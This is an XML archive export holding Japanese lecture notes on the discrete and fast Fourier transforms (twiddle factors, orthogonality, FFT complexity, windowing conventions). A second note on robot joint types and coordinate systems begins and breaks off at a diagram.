$$\displaystyle W_N = e^{-j\frac{2\pi}{N}}$$
&lt;p&gt;DFTは回転因子を用いて：&lt;/p&gt;
$$\displaystyle X[k] = \sum_{n=0}^{N-1} x[n] W_N^{kn}$$
&lt;h3&gt;回転因子の性質&lt;/h3&gt;
&lt;h4&gt;基本性質&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;回転因子の定義&lt;/strong&gt;:&lt;/p&gt;
$$\displaystyle W_N = e^{-j\frac{2\pi}{N}} = \cos\left(\frac{2\pi}{N}\right) - j \sin\left(\frac{2\pi}{N}\right)$$
&lt;p&gt;&lt;strong&gt;オイラーの公式の利用&lt;/strong&gt;:&lt;/p&gt;
$$\displaystyle W_N^{kn} = e^{-j\frac{2\pi}{N}kn} = \cos\left(\frac{2\pi kn}{N}\right) - j \sin\left(\frac{2\pi kn}{N}\right)$$
&lt;h4&gt;重要な性質&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;周期性&lt;/strong&gt;:&lt;/p&gt;
$$\displaystyle W_N^{k+N} = W_N^k$$
&lt;p&gt;&lt;strong&gt;対称性&lt;/strong&gt;:&lt;/p&gt;
$$\displaystyle W_N^{N-k} = W_N^{-k} = (W_N^k)^*$$
&lt;p&gt;&lt;strong&gt;べき乗の性質&lt;/strong&gt;:&lt;/p&gt;
$$\displaystyle W_N^{kn} = (W_N^k)^n$$
&lt;h3&gt;DFTの逆変換&lt;/h3&gt;
&lt;p&gt;DFTの逆変換は、次の式で与えられます：&lt;/p&gt;
$$\displaystyle x[n] = \frac{1}{N} \sum_{k=0}^{N-1} X[k] e^{j\frac{2\pi}{N}kn}$$
&lt;p&gt;または、回転因子を用いて：&lt;/p&gt;
$$\displaystyle x[n] = \frac{1}{N} \sum_{k=0}^{N-1} X[k] W_N^{-kn}$$
&lt;h3&gt;DFTの直交性&lt;/h3&gt;
&lt;h4&gt;直交性の証明&lt;/h4&gt;
&lt;p&gt;DFTの直交性を証明します：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ステップ1: 直交性の定義&lt;/strong&gt;&lt;br /&gt;異なる周波数成分は直交します：&lt;/p&gt;
$$\displaystyle \sum_{n=0}^{N-1} e^{j\frac{2\pi}{N}(k-m)n} = \begin{cases} N &amp;amp; (k = m) \\ 0 &amp;amp; (k \neq m) \end{cases}$$
&lt;p&gt;&lt;strong&gt;ステップ2: 証明&lt;/strong&gt;&lt;br /&gt;$k = m$ の場合：&lt;/p&gt;
$$\displaystyle \sum_{n=0}^{N-1} e^{j\frac{2\pi}{N}(k-m)n} = \sum_{n=0}^{N-1} e^{j\frac{2\pi}{N} \cdot 0 \cdot n} = \sum_{n=0}^{N-1} 1 = N$$
&lt;p&gt;$k \neq m$ の場合：&lt;/p&gt;
$$\displaystyle \sum_{n=0}^{N-1} e^{j\frac{2\pi}{N}(k-m)n} = \frac{1 - e^{j\frac{2\pi}{N}(k-m)N}}{1 - e^{j\frac{2\pi}{N}(k-m)}}$$
&lt;p&gt;ここで、$e^{j\frac{2\pi}{N}(k-m)N} = e^{j2\pi(k-m)} = 1$（$k-m$は整数）なので：&lt;/p&gt;
$$\displaystyle = \frac{1 - 1}{1 - e^{j\frac{2\pi}{N}(k-m)}} = 0$$
&lt;p&gt;&lt;strong&gt;ステップ3: 逆変換の確認&lt;/strong&gt;&lt;br /&gt;逆変換の式を確認します：&lt;/p&gt;
$$\displaystyle x[n] = \frac{1}{N} \sum_{k=0}^{N-1} X[k] e^{j\frac{2\pi}{N}kn}$$
&lt;p&gt;$X[k]$ の定義を代入：&lt;/p&gt;
$$\displaystyle = \frac{1}{N} \sum_{k=0}^{N-1} \left[\sum_{m=0}^{N-1} x[m] e^{-j\frac{2\pi}{N}km}\right] e^{j\frac{2\pi}{N}kn}$$ $$\displaystyle = \frac{1}{N} \sum_{m=0}^{N-1} x[m] \sum_{k=0}^{N-1} e^{j\frac{2\pi}{N}k(n-m)}$$
&lt;p&gt;直交性により：&lt;/p&gt;
$$\displaystyle = \frac{1}{N} \sum_{m=0}^{N-1} x[m] \cdot N \cdot \delta[n-m]$$ $$\displaystyle = \sum_{m=0}^{N-1} x[m] \delta[n-m]$$ $$\displaystyle = x[n]$$
&lt;p&gt;ここで、$\delta[n-m]$ はクロネッカーのデルタ関数です：&lt;/p&gt;
$$\displaystyle \delta[n-m] = \begin{cases} 1 &amp;amp; (n = m) \\ 0 &amp;amp; (n \neq m) \end{cases}$$
&lt;h3&gt;DFTの性質&lt;/h3&gt;
&lt;h4&gt;周期性&lt;/h4&gt;
&lt;p&gt;$X[k]$ は周期 $N$ の周期関数です：&lt;/p&gt;
$$\displaystyle X[k+N] = X[k]$$
&lt;h4&gt;対称性&lt;/h4&gt;
&lt;p&gt;実信号の場合、以下の対称性が成り立ちます：&lt;/p&gt;
$$\displaystyle X[k] = X^*[N-k]$$
&lt;p&gt;ここで、* は複素共役を表します。実信号 $x[n]$ のとき $X[k]$ は共役対称（$X[k]=X^*[N-k]$）。ただし &lt;strong&gt;$(k=0)$&lt;/strong&gt; と（$N$ 偶数時の）&lt;strong&gt;$(k=N/2)$&lt;/strong&gt; は&lt;strong&gt;実数&lt;/strong&gt;。&lt;/p&gt;
&lt;h4&gt;パーセバルの定理&lt;/h4&gt;
&lt;p&gt;時間ドメインと周波数ドメインでのエネルギーは等しい：&lt;/p&gt;
$$\displaystyle \sum_{n=0}^{N-1} |x[n]|^2 = \frac{1}{N} \sum_{k=0}^{N-1} |X[k]|^2$$
&lt;h3&gt;DFTの応用&lt;/h3&gt;
&lt;h4&gt;音響信号解析&lt;/h4&gt;
&lt;p&gt;DFTは音響信号の周波数解析に広く用いられています：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;楽器の音色分析&lt;/strong&gt;: 各楽器の特徴的な周波数成分を特定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;音声解析&lt;/strong&gt;: 音声の基本周波数やフォルマント周波数の分析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ノイズ解析&lt;/strong&gt;: 不要な周波数成分の特定と除去&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;実装時の考慮事項&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;周波数解像度&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;周波数解像度：$\Delta f = \frac{f_s}{N} \tag{12}$&lt;/li&gt;
&lt;li&gt;$f_s$：サンプリング周波数&lt;/li&gt;
&lt;li&gt;$N$：DFT/FFTの点数&lt;/li&gt;
&lt;li&gt;より細かい周波数解析には大きな$N$が必要&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ゼロパディング&lt;/strong&gt;：ピーク周波数内挿精度は&lt;strong&gt;視覚分解能&lt;/strong&gt;は上がるが、&lt;strong&gt;CRLB観点の推定分散はSNR・窓・観測長で決まる&lt;/strong&gt;（ゼロパッドは不変）。&lt;br /&gt;&lt;strong&gt;統計的根拠&lt;/strong&gt;：位相連続モデルでの周波数推定のCRLBは \(\operatorname{Var}(\hat f) \ge \frac{6}{(2\pi)^2 \cdot \mathrm{SNR} \cdot T^3} \tag{13}\) で、測定時間 \(T\) とSNRに支配される。ゼロパディングは \(T\) を伸ばさないため分散下限は不変。&lt;br /&gt;&lt;strong&gt;誤解を明示&lt;/strong&gt;：ゼロパディングは推定精度を向上させない。真の周波数推定には相位相補間（parabolic/quinn等）が必要。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;高速フーリエ変換（FFT）&lt;/h2&gt;
&lt;h3&gt;FFTとは&lt;/h3&gt;
&lt;p&gt;高速フーリエ変換（FFT）は、離散フーリエ変換（DFT）を効率的に計算するアルゴリズムです。&lt;/p&gt;
&lt;h3&gt;FFTの動機&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;DFTの計算量問題&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DFTの計算量は $O(N^2)$&lt;/li&gt;
&lt;li&gt;$N=1024$の場合、約100万回の複素乗算が必要&lt;/li&gt;
&lt;li&gt;リアルタイム処理には計算時間が長すぎる&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;FFTの解決策&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;典型的な基数2 Cooley–Tukey 法では、&lt;strong&gt;複素乗算&lt;/strong&gt;は概ね $\tfrac{N}{2}\log_2 N$ 回、&lt;strong&gt;複素加算&lt;/strong&gt;は $N\log_2 N$ 回&lt;/li&gt;
&lt;li&gt;計算量は $O(N \log N)$&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;FFTの基本原理&lt;/h3&gt;
&lt;h4&gt;分割統治法&lt;/h4&gt;
&lt;p&gt;FFTは分割統治法（Divide and Conquer）を使用します：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ステップ1: 信号の分割&lt;/strong&gt;&lt;br /&gt;$N$点の信号を2つの$N/2$点の信号に分割：&lt;/p&gt;
$$\displaystyle x[n] \to x_{even}[n] = x[2n] \quad \text{(偶数インデックス)}$$ $$\displaystyle x_{odd}[n] = x[2n+1] \quad \text{(奇数インデックス)}$$
&lt;p&gt;&lt;strong&gt;ステップ2: 部分DFTの計算&lt;/strong&gt;&lt;br /&gt;各$N/2$点信号のDFTを計算：&lt;/p&gt;
$$\displaystyle X_{even}[k] = \sum_{n=0}^{N/2-1} x_{even}[n] W_{N/2}^{kn}$$ $$\displaystyle X_{odd}[k] = \sum_{n=0}^{N/2-1} x_{odd}[n] W_{N/2}^{kn}$$
&lt;p&gt;&lt;strong&gt;ステップ3: 結合&lt;/strong&gt;&lt;br /&gt;部分DFTを結合して全体のDFTを構成：&lt;/p&gt;
$$\displaystyle X[k] = X_{even}[k] + W_N^k X_{odd}[k]$$ $$\displaystyle X[k+N/2] = X_{even}[k] - W_N^k X_{odd}[k]$$
&lt;h4&gt;バタフライ演算&lt;/h4&gt;
&lt;p&gt;FFTの基本演算は「バタフライ演算」と呼ばれます：&lt;/p&gt;
$$\displaystyle X[k] = X_{even}[k] + W_N^k X_{odd}[k]$$ $$\displaystyle X[k+N/2] = X_{even}[k] - W_N^k X_{odd}[k]$$
&lt;p&gt;&lt;strong&gt;バタフライ演算の名前の由来&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;信号の流れが蝶の形に似ている&lt;/li&gt;
&lt;li&gt;2つの入力から2つの出力を生成&lt;/li&gt;
&lt;li&gt;FFTの基本構成要素&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;FFTの計算量解析&lt;/h3&gt;
&lt;h4&gt;計算量の導出&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;ステップ1: 再帰関係&lt;/strong&gt;&lt;br /&gt;$N$点FFTの計算量を$T(N)$とすると：&lt;/p&gt;
$$\displaystyle T(N) = 2T(N/2) + O(N)$$
&lt;p&gt;ここで：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$2T(N/2)$：2つの$N/2$点FFTの計算量&lt;/li&gt;
&lt;li&gt;$O(N)$：結合処理の計算量&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ステップ2: 解の導出&lt;/strong&gt;&lt;br /&gt;再帰関係を解くと：&lt;/p&gt;
$$\displaystyle T(N) = O(N \log N)$$
&lt;h4&gt;具体的な計算量比較（複素乗算回数の代表値）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;$N=1024$: $\tfrac{N}{2}\log_2 N = 5120$ 回&lt;/li&gt;
&lt;li&gt;$N=4096$: $\tfrac{N}{2}\log_2 N = 24576$ 回&lt;/li&gt;
&lt;li&gt;$N=16384$: $\tfrac{N}{2}\log_2 N = 114688$ 回&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;DFTの $O(N^2)$ と比較して、$N$ が大きいほど FFT の優位性は圧倒的になる。&lt;/p&gt;
&lt;h3&gt;FFTの応用&lt;/h3&gt;
&lt;h4&gt;音響信号解析&lt;/h4&gt;
&lt;p&gt;FFTは音響信号の周波数解析に広く用いられています：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;楽器の音色分析&lt;/strong&gt;: 各楽器の特徴的な周波数成分を特定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;音声解析&lt;/strong&gt;: 音声の基本周波数やフォルマント周波数の分析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ノイズ解析&lt;/strong&gt;: 不要な周波数成分の特定と除去&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;実装時の考慮事項&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;リアルタイム処理&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FFTによりリアルタイム周波数解析が可能&lt;/li&gt;
&lt;li&gt;オーバーラップ処理による連続解析&lt;/li&gt;
&lt;li&gt;窓関数の適用によるスペクトル漏れの抑制&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;周波数解像度&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;周波数解像度：$\Delta f = \frac{f_s}{N}$&lt;/li&gt;
&lt;li&gt;$f_s$：サンプリング周波数&lt;/li&gt;
&lt;li&gt;$N$：FFTの点数&lt;/li&gt;
&lt;li&gt;より細かい周波数解析には大きな$N$が必要&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;まとめ&lt;/h2&gt;
&lt;h3&gt;学習の流れ&lt;/h3&gt;
&lt;p&gt;この資料では、フーリエ変換とスペクトル解析の基礎から応用までを体系的に学習しました：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;フーリエ級数&lt;/strong&gt; - 周期関数の基本&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;複素フーリエ級数&lt;/strong&gt; - オイラーの公式を活用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;フーリエ変換&lt;/strong&gt; - 非周期関数への拡張&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;離散時間フーリエ変換（DTFT）&lt;/strong&gt; - 離散時間信号の周波数解析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;離散フーリエ変換（DFT）&lt;/strong&gt; - コンピュータ実装向け&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高速フーリエ変換（FFT）&lt;/strong&gt; - 効率的な計算アルゴリズム&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;重要な概念&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;数学的基礎&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;フーリエ変換の定義と導出&lt;/li&gt;
&lt;li&gt;サンプリング定理とエイリアシング&lt;/li&gt;
&lt;li&gt;回転因子とオイラーの公式&lt;/li&gt;
&lt;li&gt;直交性とパーセバルの定理&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;実用的な応用&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;音響信号の周波数解析&lt;/li&gt;
&lt;li&gt;楽器の音色分析&lt;/li&gt;
&lt;li&gt;音声解析とノイズ除去&lt;/li&gt;
&lt;li&gt;リアルタイム信号処理&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;実装時の考慮事項&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;計算効率&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FFTによる計算量の大幅削減（複素乗算 \(\tfrac{N}{2}\log_2 N\) 回程度）&lt;/li&gt;
&lt;li&gt;メモリ効率の最適化&lt;/li&gt;
&lt;li&gt;数値精度の維持&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;周波数解析&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;周波数解像度の調整&lt;/li&gt;
&lt;li&gt;窓関数の適用と CG/ENBW の明示&lt;/li&gt;
&lt;li&gt;オーバーラップ処理&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;規約宣言&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;この資料で採用する規約&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;フーリエ変換&lt;/strong&gt;：第1規約（$X(\omega) = \int_{-\infty}^{\infty} x(t) e^{-j\omega t} \, dt$、$x(t) = \frac{1}{2\pi} \int_{-\infty}^{\infty} X(\omega) e^{j\omega t} \, d\omega$）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DFT&lt;/strong&gt;：正規化係数なし（$X[k] = \sum_{n=0}^{N-1} x[n] e^{-j\frac{2\pi}{N}kn}$、$x[n] = \frac{1}{N} \sum_{k=0}^{N-1} X[k] e^{j\frac{2\pi}{N}kn}$）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;片側スペクトル&lt;/strong&gt;：内点×2（DC/Nyquist非倍化）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;単位系&lt;/strong&gt;：$\sum w^2$ は窓の二乗和、$\sum w$ は窓和、$\mathrm{ENBW} = f_s \cdot \frac{\sum w^2}{(\sum w)^2}$。ParsevalとENBWの対応を確認。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;参考文献&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;一次文献&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;F. J. Harris, "On the use of windows for harmonic analysis with the DFT," &lt;em&gt;Proc. IEEE&lt;/em&gt;, vol. 66, no. 1, pp. 51-83, 1978. （窓関数とENBW/CGの基礎）&lt;/li&gt;
&lt;li&gt;P. D. Welch, "The use of fast Fourier transform for the estimation of power spectra: A method based on time averaging over short, modified periodograms," &lt;em&gt;IEEE Trans. Audio Electroacoust.&lt;/em&gt;, vol. 15, no. 2, pp. 70-73, 1967. （Welch平均法）&lt;/li&gt;
&lt;li&gt;J. W. Cooley &amp;amp; J. W. Tukey, "An algorithm for the machine calculation of complex Fourier series," &lt;em&gt;Math. Comput.&lt;/em&gt;, vol. 19, no. 90, pp. 297-301, 1965. （FFTアルゴリズム）&lt;/li&gt;
&lt;li&gt;A. V. Oppenheim &amp;amp; R. W. Schafer, &lt;em&gt;Discrete-Time Signal Processing&lt;/em&gt;, 3rd ed., Prentice Hall, 2010. （学習者向けに最適）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;応用・転用例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;校正済みスペアナUI&lt;/strong&gt;：凡例に「窓・CG・ENBW・平均法・片側/二側・負荷R」を自動出力→実験ログの再現性確保（計測工学、品質保証、法規適合）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ピーク推定器&lt;/strong&gt;：Hann窓×相位相補間（parabolic/quinn等）＋CRLB境界表示→音響F0推定・モータ振動診断・通信キャリアオフセット推定（信号処理、機械保全、通信工学）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PSD規格変換モジュール&lt;/strong&gt;：dBFS↔dBV↔dBm/Hz間をENBWと負荷で可逆変換→計測器間の整合（計量管理、計装、テスト自動化）&lt;/li&gt;
&lt;/ul&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1851">
                <text>デジタル信号処理５</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1852">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="56">
            <name>Date Created</name>
            <description>Date of creation of the resource.</description>
            <elementTextContainer>
              <elementText elementTextId="1853">
                <text>2025-10-28</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1854">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="110" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1850">
              <text>&lt;h1&gt;ロボットの座標系と関節制御&lt;/h1&gt;
&lt;h2&gt;1. ロボット制御の歴史と発展&lt;/h2&gt;
&lt;h3&gt;1.1 古代から現代への発展&lt;/h3&gt;
&lt;p&gt;ロボットを動かす場合、たくさんの関節があり、これを自由自在に動かしたいと考える。&lt;/p&gt;
&lt;p&gt;紀元前の伝承などには、ゴーレムや自動人形が意のままに動く存在として登場する。これらはまだ神話や伝説の域だが、「人が命令すれば自由自在に複雑な動きを実現する人形（ロボット）」という構想は古くから存在していた。例えばギリシャや中国の古代にも、ゼンマイや重り・水力などを利用した「からくり人形」や機械仕掛けの自動装置の記録が残されている。これらは特定の動きしかできなかったが、人の操作や命令によって"自在に"多様な動きをさせたいという夢は、古くから工学者や発明家によって追い求められてきた。この「自由自在に動かす」構想が、現代のロボット工学や制御理論の原点のひとつとなっている。&lt;/p&gt;
&lt;h3&gt;1.2 現代のコンピュータ制御&lt;/h3&gt;
&lt;p&gt;現在はこれをコンピュータのプログラムによって動かしている。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;関節数が少なければ、アナログ回路によっても動かせる可能性がある&lt;/li&gt;
&lt;li&gt;ただし、特定の動き（からくり人形、茶運び人形＝歯車の組み合わせによってある動きを再現）に限定される&lt;/li&gt;
&lt;li&gt;いろいろな動きをさせたいのでコンピュータによって動かすようにする&lt;/li&gt;
&lt;li&gt;数式によって計算する必要がある&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. ロボット関節の種類と表記法&lt;/h2&gt;
&lt;h3&gt;2.1 関節の基本分類&lt;/h3&gt;
&lt;p&gt;ロボットの関節の主な種類には、以下の2つがある。&lt;/p&gt;
&lt;h4&gt;2.1.1 回転関節（Revolute Joint）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: 軸の周りに回転する関節&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;記号&lt;/strong&gt;: R、θ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運動パラメータ&lt;/strong&gt;: 角度（度またはラジアン）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;例&lt;/strong&gt;: θ₁, θ₂, θ₃ ...（各関節の回転角）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;機構例&lt;/strong&gt;: ヒンジ、ベアリング、サーボモータ&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2.1.2 直動関節（Prismatic Joint）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: 一直線に動く関節&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;記号&lt;/strong&gt;: P、d&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運動パラメータ&lt;/strong&gt;: 距離（mmやmなど長さ単位）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;例&lt;/strong&gt;: d₁, d₂, d₃ ...（各関節の直線移動距離）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;機構例&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;ラックとピニオン&lt;/li&gt;
&lt;li&gt;ピストンとシリンダー&lt;/li&gt;
&lt;li&gt;ボールスクリュー（ねじのようなもの）&lt;/li&gt;
&lt;li&gt;リニアガイド&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.2 関節の組み合わせと表現&lt;/h3&gt;
&lt;p&gt;これらの組み合わせによって、多様なロボット動作を実現できる。理論的には、回転関節と直動関節のみで一般的な機械的運動を表現できるが、構成方法や数によって再現可能な動作範囲が異なる。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;: ロボットのほとんどは回転関節によって作成されている。&lt;/p&gt;
&lt;h3&gt;2.3 国際標準表記法&lt;/h3&gt;
&lt;p&gt;国際的な標準であるデナビット-ハーテンバーグ（DH）表記法でも「R」と「P」が関節タイプを示すために用いられている。&lt;/p&gt;
&lt;h4&gt;2.3.1 デナビット-ハーテンバーグ（DH）表記法とは&lt;/h4&gt;
&lt;p&gt;DH表記法は、ロボットアームの各リンク間の関係を4つのパラメータで記述する標準的な方法である：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;a (リンク長)&lt;/strong&gt;: 前の関節軸から次の関節軸までの距離&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;α (リンクねじれ角)&lt;/strong&gt;: 前の関節軸を次の関節軸に回転させる角度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;d (リンクオフセット)&lt;/strong&gt;: 前のリンクの長さに沿ったオフセット&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;θ (関節角)&lt;/strong&gt;: 前のリンクを次のリンクに回転させる角度&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;この表記法により、複雑なロボットアームの運動学を体系的に記述できる。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;記号まとめ&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;R（Revolute）&lt;/strong&gt;: 回転関節、運動パラメータ=角度 θ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;P（Prismatic）&lt;/strong&gt;: 直動関節、運動パラメータ=距離 d&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;構成例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;RRP（回転-回転-直線）: 2つの回転関節と1つの直動関節&lt;/li&gt;
&lt;li&gt;RRR（回転-回転-回転）: 3つの回転関節&lt;/li&gt;
&lt;li&gt;PPP（直動-直動-直動）: 3つの直動関節&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3. ロボットの座標系&lt;/h2&gt;
&lt;h3&gt;3.1 直交座標系（デカルト座標系）&lt;/h3&gt;
&lt;h4&gt;3.1.1 基本概念&lt;/h4&gt;
&lt;p&gt;デカルト座標で見ると、xとyの値によって座標を求める方法（2次元）&lt;/p&gt;
&lt;p&gt;デカルト座標の3次元で見るとx、y、zによって座標を求める方法（3次元）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特徴&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;全ての動きが直動関節で動く&lt;/li&gt;
&lt;li&gt;座標変換が楽なため計算も簡単である（三角関数が不要なため変換が簡単）&lt;/li&gt;
&lt;li&gt;ただし可動部よりもロボットが大きくなりやすい&lt;/li&gt;
&lt;li&gt;仕組みが簡単なため壊れにくく、繰り返し作業が多いラインロボットのような工作機械に多い&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3.1.2 直交座標系ロボットの応用例&lt;/h4&gt;
&lt;p&gt;直交座標系（直動関節のみ、または主に直動関節を使う機構）は、以下の製品や分野で広く用いられている。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主要な応用分野&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;直交ロボット（XYロボット、ガントリーロボット）&lt;/strong&gt;: 部品搬送や組立工程などに多用される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CNC工作機械（マシニングセンタ、フライス盤など）&lt;/strong&gt;: 3軸（X,Y,Z）で直線運動を行う&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;3Dプリンタ（特にFDMやCartesian型）&lt;/strong&gt;: X,Y,Z軸それぞれが独立して直動&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自動倉庫のピッキング装置（自動ピック＆プレース機器）&lt;/strong&gt;: 積み下ろしや仕分けに使われる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パレット搬送装置&lt;/strong&gt;: 工場などで多数見られるXY平面で移動する装置&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらは各軸が直動する構造（XYZデカルト座標系）であり、可動領域の計算や制御がシンプルなため、精密位置決めや繰り返し動作を要する自動化設備に数多く採用されている。&lt;/p&gt;
&lt;h3&gt;3.2 極座標系&lt;/h3&gt;
&lt;h4&gt;3.2.1 2次元極座標系&lt;/h4&gt;
&lt;p&gt;全ての関節が回転関節で構成される座標系&lt;/p&gt;
&lt;pre&gt;2次元極座標系の図:
 　   ・←P
　   /
　  /
　 /
ー・ーーーーーー基線
  ↑
  O
